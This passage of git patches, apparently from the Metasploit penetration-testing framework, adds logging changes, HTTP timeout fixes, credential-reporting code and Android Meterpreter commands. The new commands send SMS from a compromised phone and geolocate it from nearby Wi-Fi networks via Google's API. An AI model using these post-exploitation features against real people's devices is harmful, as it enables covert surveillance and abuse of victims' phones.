TimestampFlatfile < Flatfile + + def log(sev, src, level, msg, from) # :nodoc: + cleaned = msg.gsub(/\x1b\[[0-9;]*[mG]/,'') + fd.write("[#{get_current_timestamp}] #{src}: #{cleaned}\n") + fd.flush + end + + +end + +end end end From 30b2a4aefe0be77c60c449c16399dd7f8a6618d3 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:58:14 +0100 Subject: [PATCH 023/119] Dont need source --- lib/rex/logging/sinks/timestamp_logfile.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/logging/sinks/timestamp_logfile.rb b/lib/rex/logging/sinks/timestamp_logfile.rb index c962c3fef3..fa560a06a9 100644 --- a/lib/rex/logging/sinks/timestamp_logfile.rb +++ b/lib/rex/logging/sinks/timestamp_logfile.rb @@ -13,7 +13,7 @@ class TimestampFlatfile < Flatfile def log(sev, src, level, msg, from) # :nodoc: cleaned = msg.gsub(/\x1b\[[0-9;]*[mG]/,'') - fd.write("[#{get_current_timestamp}] #{src}: #{cleaned}\n") + fd.write("[#{get_current_timestamp}] #{cleaned}\n") fd.flush end From d267efbbbed934e9d3486c5cf581a9eabb34ba48 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 22:07:00 +0100 Subject: [PATCH 024/119] Get the filename right --- lib/rex/logging/log_sink.rb | 2 +- .../sinks/{timestamp_logfile.rb => timestamp_flatfile.rb} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/rex/logging/sinks/{timestamp_logfile.rb => timestamp_flatfile.rb} (100%) diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index e5cd5e8df7..c58ef56d97 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -41,4 +41,4 @@ end require 'rex/logging/sinks/flatfile' require 'rex/logging/sinks/stderr' -require 'rex/logging/sinks/timestamp_logfile' +require 'rex/logging/sinks/timestamp_flatfile' diff --git a/lib/rex/logging/sinks/timestamp_logfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb similarity index 100% rename from lib/rex/logging/sinks/timestamp_logfile.rb rename to lib/rex/logging/sinks/timestamp_flatfile.rb From 65adb7a770eb6fdfbbf63f6c45eec8e54227b860 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 21 Jun 2015 17:00:51 +0100 Subject: [PATCH 025/119] Inlcude interactive channel logging --- lib/rex/post/meterpreter/ui/console.rb | 1 + lib/rex/post/meterpreter/ui/console/interactive_channel.rb | 3 +++ 2 files changed, 4 insertions(+) diff --git a/lib/rex/post/meterpreter/ui/console.rb b/lib/rex/post/meterpreter/ui/console.rb index 3b2519d324..94ba5ceb44 100644 --- a/lib/rex/post/meterpreter/ui/console.rb +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -83,6 +83,7 @@ class Console channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true) channel.on_command_proc = self.on_command_proc if self.on_command_proc channel.on_print_proc = self.on_print_proc if self.on_print_proc + channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true) channel.interact(input, output) channel.reset_ui diff --git a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb index 17be4acffb..0ef94b598d 100644 --- a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +++ b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb @@ -81,6 +81,7 @@ module Console::InteractiveChannel data = self.lsock.sysread(16384) self.on_print_proc.call(data.strip) if self.on_print_proc + self.on_log_proc.call(data.strip) if self.on_log_proc user_output.print(data) end @@ -91,6 +92,8 @@ module Console::InteractiveChannel self.lsock end + attr_accessor :on_log_proc + end end From 48102aa6eb4a0212d12cb11c79f91ae4532415d0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 21 Jun 2015 19:13:55 +0100 Subject: [PATCH 026/119] Strip newlines so we dont add spaces --- lib/rex/logging/sinks/timestamp_flatfile.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb index fa560a06a9..4f69219ad6 100644 --- a/lib/rex/logging/sinks/timestamp_flatfile.rb +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -12,7 +12,7 @@ module Sinks class TimestampFlatfile < Flatfile def log(sev, src, level, msg, from) # :nodoc: - cleaned = msg.gsub(/\x1b\[[0-9;]*[mG]/,'') + cleaned = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'') fd.write("[#{get_current_timestamp}] #{cleaned}\n") fd.flush end From ad86a729187118f2733a23d64d233639ee9ecc7a Mon Sep 17 00:00:00 2001 From: Jack64 Date: Mon, 20 Jul 2015 01:16:58 +0100 Subject: [PATCH 027/119] send_sms + wlan_geolocate --- .../meterpreter/extensions/android/android.rb | 38 +++++- .../meterpreter/extensions/android/tlv.rb | 7 ++ .../ui/console/command_dispatcher/android.rb | 109 +++++++++++++++++- 3 files changed, 150 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index e36a27eb31..77d9901efd 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -119,6 +119,40 @@ class Android < Extension response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end + + def send_sms(dest,body) + request = Packet.create_request('send_sms') + request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) + request.add_tlv(TLV_TYPE_SMS_BODY,body) + response = client.send_request(request) + resp=response.get_tlv(TLV_TYPE_SMS_SENT).value + return resp + end + + def wlan_geolocate + request = Packet.create_request('wlan_geolocate') + response = client.send_request(request,60) + networks=[] + response.each( TLV_TYPE_WLAN_GROUP ) { |p| + + networks << + { + 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), + 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), + 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) + } + + } + return networks +# response.get_tlv(TLV_TYPE_WLAN_STRING).value +# response.each( TLV_TYPE_CONTACT_GROUP ) { |p| +# wifi << { +# 'string' => p.get_tlv(TLV_TYPE_WLAN_STRING).value +# } +# } +# return wifi +# response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value + end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 879afbe944..37232b9bbf 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -33,6 +33,13 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SMS_SENT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9021) + +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a31638bc61..a71addd84a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -26,7 +26,9 @@ class Console::CommandDispatcher::Android 'geolocate' => 'Get current lat-long using geolocation', 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', - 'device_shutdown' => 'Shutdown device' + 'device_shutdown' => 'Shutdown device', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information', } reqs = { @@ -35,7 +37,9 @@ class Console::CommandDispatcher::Android 'geolocate' => [ 'geolocate' ], 'dump_calllog' => [ 'dump_calllog' ], 'check_root' => [ 'check_root' ], - 'device_shutdown' => [ 'device_shutdown'] + 'device_shutdown' => [ 'device_shutdown'], + 'send_sms' => [ 'send_sms' ], + 'wlan_geolocate' => [ 'wlan_geolocate' ] } # Ensure any requirements of the command are met @@ -343,6 +347,7 @@ class Console::CommandDispatcher::Android end + def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( @@ -368,6 +373,106 @@ class Console::CommandDispatcher::Android end end + def cmd_send_sms(*args) + send_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Destination number' ], + '-t' => [ true, 'SMS body text' ] + ) + dest='' + body='' + send_sms_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: send_sms -d -t ') + print_line('Sends SMS messages to specified number.') + print_line(send_sms_opts.usage) + return + when '-d' + dest=val + when '-t' + body=val + end + } + if (dest.blank? or body.blank?) + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + sent=client.android.send_sms(dest,body) + if (sent) + print_good('SMS sent') + else + print_status('SMS failed to send') + end + end + + def cmd_wlan_geolocate(*args) + + wlan_geolocate_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + wlan_geolocate_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: wlan_geolocate') + print_line('Tries to get device geolocation from WLAN information and Google\'s API') + print_line(wlan_geolocate_opts.usage) + return + end + } + + log = client.android.wlan_geolocate + wlan_list='' + log.each{|x| + mac=x['bssid'] + ssid=x['ssid'] + ss=x['level'] + network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" + wlan_list << network_data +# print_status(x['ssid']+" ("+x['bssid']+") pwr: "+x['level'].to_s()) + } + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + + # Build and send the request to Google + url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" + uri = URI.parse(URI.encode(url)) + request = Net::HTTP::Get.new(uri.request_uri) + http = Net::HTTP::new(uri.host,uri.port) + http.use_ssl = true + response = http.request(request) + + # Gather the required information from the response + if response && response.code == '200' + results = JSON.parse(response.body) + latitude = results["location"]["lat"] + longitude = results["location"]["lng"] + accuracy = results["accuracy"] + print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") + print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + else + print_error("Failure connecting to Google for location lookup.") + end + +# print_status(log) +# log.each{|x| +# print_line(x) +# } + #if is_rooted + # print_good('Device is rooted') + #elsif + # print_status('Device is not rooted') + #end + end + + + # # Name for this dispatcher # From 97f4ec72f996019377d774dcee375770dd4c4160 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Mon, 20 Jul 2015 01:20:36 +0100 Subject: [PATCH 028/119] minor fixes --- .../post/meterpreter/extensions/android/android.rb | 8 -------- .../ui/console/command_dispatcher/android.rb | 14 ++------------ 2 files changed, 2 insertions(+), 20 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 77d9901efd..ad565c172f 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -144,14 +144,6 @@ class Android < Extension } return networks -# response.get_tlv(TLV_TYPE_WLAN_STRING).value -# response.each( TLV_TYPE_CONTACT_GROUP ) { |p| -# wifi << { -# 'string' => p.get_tlv(TLV_TYPE_WLAN_STRING).value -# } -# } -# return wifi -# response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a71addd84a..647199040e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -422,8 +422,8 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - } - + + print_status('Waiting for WiFi scan results...') log = client.android.wlan_geolocate wlan_list='' log.each{|x| @@ -432,7 +432,6 @@ class Console::CommandDispatcher::Android ss=x['level'] network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" wlan_list << network_data -# print_status(x['ssid']+" ("+x['bssid']+") pwr: "+x['level'].to_s()) } if wlan_list.blank? @@ -460,15 +459,6 @@ class Console::CommandDispatcher::Android print_error("Failure connecting to Google for location lookup.") end -# print_status(log) -# log.each{|x| -# print_line(x) -# } - #if is_rooted - # print_good('Device is rooted') - #elsif - # print_status('Device is not rooted') - #end end From 0771d5ec3940a31acc0ec7e4fe9181d4f3350db1 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Mon, 20 Jul 2015 01:22:45 +0100 Subject: [PATCH 029/119] minor fixes --- lib/rex/post/meterpreter/extensions/android/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index ad565c172f..97a9614388 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -131,7 +131,7 @@ class Android < Extension def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,60) + response = client.send_request(request,45) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| From 1a9664fcbacb29a843ba1f1aca184c612eb01d86 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Jul 2015 09:54:51 -0500 Subject: [PATCH 030/119] Delete default option --- lib/msf/core/exploit/http/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index f9a57f7f49..d01107f91e 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -53,7 +53,7 @@ module Exploit::Remote::HttpClient OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']), - OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20]) + OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']) ], self.class ) From 035c0a8a3883363c9609e08add221b0397f1e41d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Jul 2015 11:27:48 -0500 Subject: [PATCH 031/119] Fix #5078 by improving actual_timeout calculation --- lib/msf/core/exploit/http/client.rb | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index d01107f91e..83eaedff66 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -308,7 +308,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw. # def send_request_raw(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_raw(opts) @@ -325,7 +330,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_cgi(opts) @@ -344,7 +354,12 @@ module Exploit::Remote::HttpClient # will contain the full URI. # def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + res = send_request_cgi(opts, actual_timeout) return res unless res && res.redirect? && redirect_depth > 0 From 85e806dc9934d8b6fe7f3da175d2e5ec0c26a2ba Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 20 Jul 2015 19:28:19 -0500 Subject: [PATCH 032/119] Add simple class for getting geo data from Google --- lib/rex/google_geolocation.rb | 83 +++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100755 lib/rex/google_geolocation.rb diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb new file mode 100755 index 0000000000..a7551cb944 --- /dev/null +++ b/lib/rex/google_geolocation.rb @@ -0,0 +1,83 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + # @example + # g = GoogleGeolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class GoogleGeolocation + + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(GOOGLE_API_URI) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.join("&") + + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP::new(@uri.host,@uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + raise "Failure connecting to Google for location lookup." + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}") + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + + end +end + +if $0 == __FILE__ + if ARGV.empty? + $stderr.puts("Usage: #{$0} [mac] ...") + $stderr.puts("Ask Google for the location of the given set of BSSIDs") + $stderr.puts + $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$0}") + exit(1) + end + g = Rex::GoogleGeolocation.new + ARGV.each do |mac| + g.add_wlan(mac, nil, -83) + end + g.fetch! + puts g, g.google_maps_url +end From d6e12d431f4b9a712bbff754e8d344e832c3ca9c Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 20 Jul 2015 19:40:25 -0500 Subject: [PATCH 033/119] Style and whitespace --- modules/post/multi/gather/wlan_geolocate.rb | 46 ++++++++++----------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index a2e18e5018..ecb302a952 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -43,14 +43,14 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("\r\n\r\n") - raw_networks.each { |network| + raw_networks.each do |network| details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) - if !details.nil? - strength = get_strength(details[3]) - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" - wlan_list << network_data - end - } + if !details.nil? + strength = get_strength(details[3]) + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -60,13 +60,13 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("Cell ") - raw_networks.each { |network| + raw_networks.each do |network| details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) - if !details.nil? - network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" - wlan_list << network_data - end - } + if !details.nil? + network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -75,14 +75,14 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("\n") - raw_networks.each { |network| + raw_networks.each do |network| network = network.strip details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) - if !details.nil? - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" - wlan_list << network_data - end - } + if !details.nil? + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -214,10 +214,10 @@ class Metasploit3 < Msf::Post return nil end - rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end From 52e4f45ecdc9fd723587456b6cc80f978617aece Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 20 Jul 2015 20:24:07 -0500 Subject: [PATCH 034/119] Use the new thing in wlan_geolocate --- modules/post/multi/gather/wlan_geolocate.rb | 44 ++++++++------------- 1 file changed, 17 insertions(+), 27 deletions(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index ecb302a952..1c9d7d2f84 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -5,8 +5,7 @@ require 'msf/core' require 'rex' -require 'json' -require 'net/http' +require 'rex/google_geolocation' class Metasploit3 < Msf::Post @@ -40,15 +39,14 @@ class Metasploit3 < Msf::Post end def parse_wireless_win(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("\r\n\r\n") raw_networks.each do |network| details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) if !details.nil? strength = get_strength(details[3]) - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" - wlan_list << network_data + wlan_list << [ details[2], details[1], strength ] end end @@ -57,14 +55,13 @@ class Metasploit3 < Msf::Post def parse_wireless_linux(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("Cell ") raw_networks.each do |network| details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) if !details.nil? - network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" - wlan_list << network_data + wlan_list << [ details[1], details[3], details[2] ] end end @@ -72,15 +69,14 @@ class Metasploit3 < Msf::Post end def parse_wireless_osx(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("\n") raw_networks.each do |network| network = network.strip details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) if !details.nil? - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" - wlan_list << network_data + wlan_list << [ details[2], details[1], details[3] ] end end @@ -93,25 +89,19 @@ class Metasploit3 < Msf::Post print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end + g = Rex::GoogleGeolocation.new - # Build and send the request to Google - url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" - uri = URI.parse(URI.encode(url)) - request = Net::HTTP::Get.new(uri.request_uri) - http = Net::HTTP::new(uri.host,uri.port) - http.use_ssl = true - response = http.request(request) + wlan_list.each do |wlan| + g.add_wlan(*wlan) + end - # Gather the required information from the response - if response && response.code == '200' - results = JSON.parse(response.body) - latitude = results["location"]["lat"] - longitude = results["location"]["lng"] - accuracy = results["accuracy"] - print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") - print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") else - print_error("Failure connecting to Google for location lookup.") + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") end end From 4561850055007c208e124cdf05633cdcc70ac226 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 22 Jul 2015 01:11:43 -0500 Subject: [PATCH 035/119] Use metasploit-credential API instead of report_auth_info --- .../admin/hp/hp_imc_som_create_account.rb | 44 ++- .../http/dlink_dir_645_password_extractor.rb | 45 ++- .../http/dlink_dsl320b_password_extractor.rb | 41 ++- .../admin/http/nexpose_xxe_file_read.rb | 41 ++- .../admin/http/vbulletin_upgrade_admin.rb | 42 ++- .../admin/http/wp_custom_contact_forms.rb | 39 ++- .../http/zyxel_admin_password_extractor.rb | 43 ++- .../admin/misc/sercomm_dump_config.rb | 44 ++- .../auxiliary/admin/oracle/oracle_login.rb | 39 ++- .../scanner/http/drupal_views_user_enum.rb | 1 - .../scanner/nexpose/nexpose_api_login.rb | 45 ++- .../scanner/openvas/openvas_gsad_login.rb | 44 ++- .../scanner/openvas/openvas_omp_login.rb | 42 ++- .../scanner/openvas/openvas_otp_login.rb | 42 ++- modules/auxiliary/scanner/scada/koyo_login.rb | 40 ++- modules/auxiliary/server/capture/drda.rb | 41 ++- modules/auxiliary/server/capture/ftp.rb | 41 ++- .../auxiliary/server/capture/http_basic.rb | 41 ++- modules/auxiliary/server/capture/pop3.rb | 41 ++- .../auxiliary/server/capture/postgresql.rb | 43 ++- modules/auxiliary/server/capture/sip.rb | 43 ++- modules/auxiliary/server/capture/smtp.rb | 41 ++- modules/auxiliary/server/capture/vnc.rb | 43 ++- .../auxiliary/test/report_auth_info.rb | 265 +++++++++++++++++- 24 files changed, 1005 insertions(+), 186 deletions(-) diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 4f5d3de838..1941291594 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -71,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary return nil end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run print_status("#{peer} - Trying to find the service desk service strong name...") @@ -232,15 +258,15 @@ class Metasploit3 < Msf::Auxiliary login_url = ssl ? "https://" : 